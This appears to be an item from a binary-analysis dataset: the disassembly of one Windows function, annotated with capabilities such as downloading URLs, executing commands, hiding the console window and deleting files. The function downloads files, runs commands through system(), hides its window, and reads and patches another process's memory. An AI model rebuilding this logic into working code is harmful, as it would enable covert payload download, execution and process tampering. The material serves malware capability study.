Function at 0x402f60
Capabilities:
Delete file
Download url
Execute command
Hide graphical window
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40aa56
mov eax, dword fs:[0]
push eax
sub esp, 0x3ec
mov eax, dword [0x40f008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0x69]
call fcn.00402cb0
mov ecx, eax
call fcn.00404080
mov dword [ebp - 0x94], eax
lea ecx, [ebp - 0x194]
push ecx
lea ecx, [ebp - 0x6a]
call fcn.00403550
mov ecx, eax
call fcn.004041d0
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x294]
push edx
lea ecx, [ebp - 0x6b]
call fcn.00403650
mov ecx, eax
call fcn.00403ff0
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x6c]
call fcn.004035d0
mov ecx, eax
call fcn.00404020
mov dword [ebp - 0xbc], eax
push 0
push 0
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jge 0x403082
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x1b8]
push ecx
lea ecx, [ebp - 0x6d]
call fcn.004036d0
mov ecx, eax
call fcn.00403fc0
mov dword [ebp - 0xc4], eax
mov edx, dword [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00407700
add esp, 8
mov dword [ebp - 0x90], eax
push 0x407a90
mov ecx, dword [ebp - 0x90]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, 1
jmp 0x403528
lea ecx, [ebp - 0x134]
push ecx
lea ecx, [ebp - 0x6e]
call fcn.00403750
mov ecx, eax
call fcn.00403f90
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0x44c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x94]
push edx
call fcn.004028e0
add esp, 4
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x4030cf
mov eax, 1
jmp 0x403528
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00402320
add esp, 8
movzx edx, al
test edx, edx
je 0x40351f
push 0x402c00
lea ecx, [ebp - 0x2c]
call fcn.00407eb0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.004018a0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov eax, 1
test eax, eax
je 0x403205
lea ecx, [ebp - 0x230]
push ecx
lea ecx, [ebp - 0x6f]
call fcn.004037e0
mov ecx, eax
call fcn.00403f60
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0x25c]
push edx
lea ecx, [ebp - 0x70]
call fcn.00403810
mov ecx, eax
call fcn.00403f60
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x71]
call fcn.00403890
mov ecx, eax
call fcn.00403f30
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0x9c]
push ecx
call fcn.004028e0
add esp, 4
mov dword [ebp - 0x80], eax
mov edx, dword [ebp - 0xa0]
push edx
call fcn.004028e0
add esp, 4
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xa4]
push eax
call fcn.004028e0
add esp, 4
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x80], 3
ja 0x4031f3
cmp dword [ebp - 0x84], 3
ja 0x4031f3
cmp dword [ebp - 0x88], 3
jbe 0x4031f5
jmp 0x403205
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40313e
push 1
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00402b00
add esp, 8
lea edx, [ebp - 0x2d4]
push edx
lea ecx, [ebp - 0x72]
call fcn.00403990
mov ecx, eax
call fcn.00403ed0
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0x3f8]
push eax
lea ecx, [ebp - 0x73]
call fcn.00403910
mov ecx, eax
call fcn.00403f00
mov dword [ebp - 0xac], eax
push 0
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
mov edx, dword [ebp - 0xac]
push edx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0xc8], eax
push str.Suspend:
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call fcn.00407700
add esp, 8
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0x64]
push ecx
mov ecx, dword [ebp - 0xb0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov dword [ebp - 0xb4], eax
push 0x407a90
mov ecx, dword [ebp - 0xb4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x4268
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc
lea ecx, [ebp - 0x24]
call fcn.00401f00
lea ecx, [ebp - 0x24]
call fcn.00403e90
mov byte [ebp - 4], 1
lea edx, [ebp - 0x120]
push edx
lea ecx, [ebp - 0x74]
call fcn.00403a10
mov ecx, eax
call fcn.00403cc0
push eax
lea ecx, [ebp - 0xe0]
call fcn.004053a0
mov byte [ebp - 4], 2
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x24]
call fcn.00403d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe0]
call fcn.004052d0
lea ecx, [ebp - 0x148]
push ecx
lea ecx, [ebp - 0x75]
call fcn.00403a50
mov ecx, eax
call fcn.00403f90
push eax
lea ecx, [ebp - 0xf8]
call fcn.004053a0
mov byte [ebp - 4], 3
lea edx, [ebp - 0xf8]
push edx
lea ecx, [ebp - 0x24]
call fcn.00403d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf8]
call fcn.004052d0
lea eax, [ebp - 0x32c]
push eax
lea ecx, [ebp - 0x76]
call fcn.00403ae0
mov ecx, eax
call fcn.00403c90
push eax
lea ecx, [ebp - 0x110]
call fcn.004053a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x110]
push ecx
lea ecx, [ebp - 0x24]
call fcn.00403d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x110]
call fcn.004052d0
mov dword [ebp - 0x68], 0
jmp 0x4033aa
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
lea ecx, [ebp - 0x24]
call fcn.00403d10
cmp dword [ebp - 0x68], eax
jae 0x4033d6
mov eax, dword [ebp - 0x68]
push eax
lea ecx, [ebp - 0x24]
call fcn.00403cf0
mov ecx, eax
call fcn.004052b0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4033a1
push 0
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00402b00
add esp, 8
lea edx, [ebp - 0x1dc]
push edx
lea ecx, [ebp - 0x77]
call fcn.00403b60
mov ecx, eax
call fcn.00403c60
push eax
lea ecx, [ebp - 0x5c]
call fcn.004053a0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x5c]
call fcn.004052b0
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x78]
call fcn.00403be0
mov ecx, eax
call fcn.00403c30
push eax
lea ecx, [ebp - 0x44]
call fcn.004053a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x44]
push ecx
call fcn.00401f90
add esp, 4
mov byte [ebp - 0x5d], al
mov dword [ebp - 0x7c], 0
mov edx, 1
test edx, edx
je 0x403478
call fcn.00402d00
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jle 0x40346b
jmp 0x403478
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403452
movzx eax, byte [ebp - 0x5d]
cmp eax, 1
jne 0x4034ea
mov ecx, dword [ebp - 0x7c]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x40f580], eax
mov dword [ebp - 0x18], 0
push 0
push 4
lea edx, [ebp - 0x18]
push edx
push 0xe0c36e8
mov eax, dword [0x40f580]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0x85
mov byte [ebp - 0x11], 0x43
mov ecx, dword [ebp - 0x18]
push ecx
push 4
lea edx, [ebp - 0x14]
push edx
push 0x57f4e48
call fcn.00402ed0
add esp, 0x10
mov eax, dword [0x40f580]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x44]
call fcn.004052d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c]
call fcn.004052d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00403e70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00401850
jmp 0x403526
mov eax, 1
jmp 0x403528
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409b65
mov esp, ebp
pop ebp
ret